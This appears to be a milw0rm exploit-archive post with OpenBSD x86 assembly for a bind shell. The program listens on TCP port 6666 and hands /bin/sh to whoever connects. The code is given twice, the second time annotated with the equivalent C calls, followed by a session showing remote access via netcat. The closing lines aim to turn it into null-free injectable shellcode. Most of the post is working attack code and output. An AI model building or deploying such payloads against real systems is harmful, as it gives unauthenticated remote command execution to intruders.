.section .data
sockaddr_in:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .long 0,0,0,0,0,0,0,0
listenSock:
   .long 0
acceptSock:
   .long 0
socklen:
   .long 0
shell:
   .ascii "/bin/sh\0"
shelladdr:
   .long 0

.section .text
.globl _start
_start:
   nop                          # so we can break with gdb, remove later
   xor %eax, %eax               # set eax to 0
   pushl $IPPROTO_TCP           # pushl the proto
   pushl $SOCK_STREAM           # pushl sock_stream
   pushl $PF_INET               # pushl protocol family
   pushl %eax                   # pushl extra long
   movl $SYS_SOCKET, %eax       # syscall number sys_socket(97) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4
   movl %eax, listenSock        # save the socket file descriptor

   movl $AF_INET, sin_family    # movl address family value into sin_family
   movl $INADDR_ANY, sin_addr   # movl inaddr_any to sin_addr
   movl $PORT, sin_port         # movl port into sin_port

   pushl $SOCKADDR_IN_SIZE      # pushl the size of the struct
   pushl $sockaddr_in           # pushl the address of the struct
   pushl listenSock             # pushl our sock we recieved from socket
   pushl %eax                   # pushl the extra long
   movl $SYS_BIND, %eax         # syscall number sys_bind(104) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4

   pushl $1                     # pushl backlog (amount of connections)
   pushl listenSock             # push our sock
   pushl %eax                   # pushl the extra long
   movl $SYS_LISTEN, %eax       # syscall number sys_listen(106) into eax
   int $KERN                    # call the kernel
   addl $8, %esp                # clean stack (# of pushl's-1)*4

   movl $SOCKADDR_IN_SIZE, socklen # put the length into socklen
   pushl $socklen               # pushl the address of the length
   pushl $sockaddr_in           # pushl the address of the struct
   pushl listenSock             # pushl our sock we recieved from socket
   pushl %eax                   # pushl the extra long
   movl $SYS_ACCEPT, %eax       # syscall number sys_accept(30) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4
   movl %eax, acceptSock        # save our accept sock file descriptor

   pushl $STDIN                 # pushl stdin
   pushl acceptSock             # pushl our accept socket fd
   pushl %eax                   # pushl extra long
   movl $SYS_DUP2, %eax         # syscall number sys_dup2(90) into eax
   int $KERN                    # call the kernel
   addl $4, %esp                # clean stack (# of pushl's-1)*4

   pushl $STDOUT                # pushl stdout
   pushl acceptSock             # pushl our accept socket fd
   pushl %eax                   # pushl extra long
   movl $SYS_DUP2, %eax         # syscall number sys_dup2(90) into eax
   int $KERN                    # call the kernel
   addl $4, %esp                # clean stack (# of pushl's-1)*4

   pushl $STDERR                # pushl stderr
   pushl acceptSock             # pushl our accept socket fd
   pushl %eax                   # pushl extra long
   movl $SYS_DUP2, %eax         # syscall number sys_dup2(90) into eax
   int $KERN                    # call the kernel
   addl $4, %esp                # clean stack (# of pushl's-1)*4

   pushl $0                     # pushl the NULL
   movl $shell, shelladdr       # move the address of shell into shelladdr
   movl $shelladdr, shelladdr   # move the address of the address into shelladdr
   pushl $shelladdr             # push the address of the address of the shell
   pushl $shell                 # push the address of the shell
   pushl %eax                   # pushl extra long
   movl $SYS_EXECVE, %eax       # syscall number sys_execve(59) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4

   xorl %eax, %eax              # set eax to 0
   pushl %eax                   # pushl the return(status) value
   pushl %eax                   # pushl the extra long
   movl  $1, %eax               # mov 1 into eax
   int $0x80                    # call the kernel

Assembly link and execute, test from another host

entropy@theo {~/asm} as -gstabs portbind.s -o portbind.o

entropy@theo {~/asm} ld portbind.o -o portbind

entropy@theo {~/asm} ./portbind &
[1] 24363

entropy@redcell {~} perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc theo 6666
id
uid=1000(entropy) gid=1000(entropy) groups=1000(entropy), 0(wheel)
whoami
entropy
uname -a
OpenBSD theo.telegenetic.net 3.7 GENERIC.MP#0 i386
exit

Assembly on OpenBSD turns out to be really easy if you just take it simple steps at 
a time, testing as you go with ktrace and gdb. Below is a more commented version of 
what we just went through showing above the assembly the C that we were calling for 
easier reading.

entropy@theo {~/asm} cat portbind.s
.section ".note.openbsd.ident", "a"
        .p2align 2
        .long   0x8
        .long   0x4
        .long   0x1
        .ascii "OpenBSD\0"
        .long   0x
        .p2align 2

.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .data
sockaddr_in:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .long 0,0,0,0,0,0,0,0
listenSock:
   .long 0
acceptSock:
   .long 0
socklen:
   .long 0
shell:
   .ascii "/bin/sh\0"
shelladdr:
   .long 0

.section .text
.globl _start
_start:
   nop                          # so we can break with gdb, remove later

   # listenSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
   xor %eax, %eax               # set eax to 0
   pushl $IPPROTO_TCP           # pushl the proto
   pushl $SOCK_STREAM           # pushl sock_stream
   pushl $PF_INET               # pushl protocol family
   pushl %eax                   # pushl extra long
   movl $SYS_SOCKET, %eax       # syscall number sys_socket(97) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4
   movl %eax, listenSock        # save the socket file descriptor

   # s.sin_family = AF_INET;
   # s.sin_addr.s_addr = htonl(INADDR_ANY);
   # s.sin_port = htons(PORT);
   movl $AF_INET, sin_family    # movl address family value into sin_family
   movl $INADDR_ANY, sin_addr   # movl inaddr_any to sin_addr
   movl $PORT, sin_port         # movl port into sin_port

   # bind(listenSocket, (struct sockaddr *)&s, sizeof(s))
   pushl $SOCKADDR_IN_SIZE      # pushl the size of the struct
   pushl $sockaddr_in           # pushl the address of the struct
   pushl listenSock             # pushl our sock we recieved from socket
   pushl %eax                   # pushl the extra long
   movl $SYS_BIND, %eax         # syscall number sys_bind(104) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4

   # listen(listenSocket, 1);
   pushl $1                     # pushl backlog (amount of connections)
   pushl listenSock             # push our sock
   pushl %eax                   # pushl the extra long
   movl $SYS_LISTEN, %eax       # syscall number sys_listen(106) into eax
   int $KERN                    # call the kernel
   addl $8, %esp                # clean stack (# of pushl's-1)*4

   # acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
   movl $SOCKADDR_IN_SIZE, socklen # put the length into socklen
   pushl $socklen               # pushl the address of the length
   pushl $sockaddr_in           # pushl the address of the struct
   pushl listenSock             # pushl our sock we recieved from socket
   pushl %eax                   # pushl the extra long
   movl $SYS_ACCEPT, %eax       # syscall number sys_accept(30) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4
   movl %eax, acceptSock        # save our accept sock file descriptor

   # dup2(acceptSocket, STDIN);
   pushl $STDIN                 # pushl stdin
   pushl acceptSock             # pushl our accept socket fd
   pushl %eax                   # pushl extra long
   movl $SYS_DUP2, %eax         # syscall number sys_dup2(90) into eax
   int $KERN                    # call the kernel
   addl $4, %esp                # clean stack (# of pushl's-1)*4

   # dup2(acceptSocket, STDOUT);
   pushl $STDOUT                # pushl stdout
   pushl acceptSock             # pushl our accept socket fd
   pushl %eax                   # pushl extra long
   movl $SYS_DUP2, %eax         # syscall number sys_dup2(90) into eax
   int $KERN                    # call the kernel
   addl $4, %esp                # clean stack (# of pushl's-1)*4

   # dup2(acceptSocket, STDERR);
   pushl $STDERR                # pushl stderr
   pushl acceptSock             # pushl our accept socket fd
   pushl %eax                   # pushl extra long
   movl $SYS_DUP2, %eax         # syscall number sys_dup2(90) into eax
   int $KERN                    # call the kernel
   addl $4, %esp                # clean stack (# of pushl's-1)*4

   # shell[0] = "/bin/sh";
   # shell[1] = NULL;
   # execve(shell[0], shell, NULL);
   pushl $0                     # pushl the NULL
   movl $shell, shelladdr       # move the address of shell into shelladdr
   movl $shelladdr, shelladdr   # move the address of the address into shelladdr
   pushl $shelladdr             # push the address of the address of the shell
   pushl $shell                 # push the address of the shell
   pushl %eax                   # pushl extra long
   movl $SYS_EXECVE, %eax       # syscall number sys_execve(59) into eax
   int $KERN                    # call the kernel
   addl $12, %esp               # clean stack (# of pushl's-1)*4

   # exit(0);
   xorl %eax, %eax              # set eax to 0
   pushl %eax                   # pushl the return(status) value
   pushl %eax                   # pushl the extra long
   movl  $1, %eax               # mov 1 into eax
   int $0x80                    # call the kernel

Now if we could only get the note section to have no nulls, load this into memory 
somewhere have a bit of fun with the .got and .plt, or exec a retf to the .text 
seg we may just be able to have some fun times....

# milw0rm.com [2006-04-08]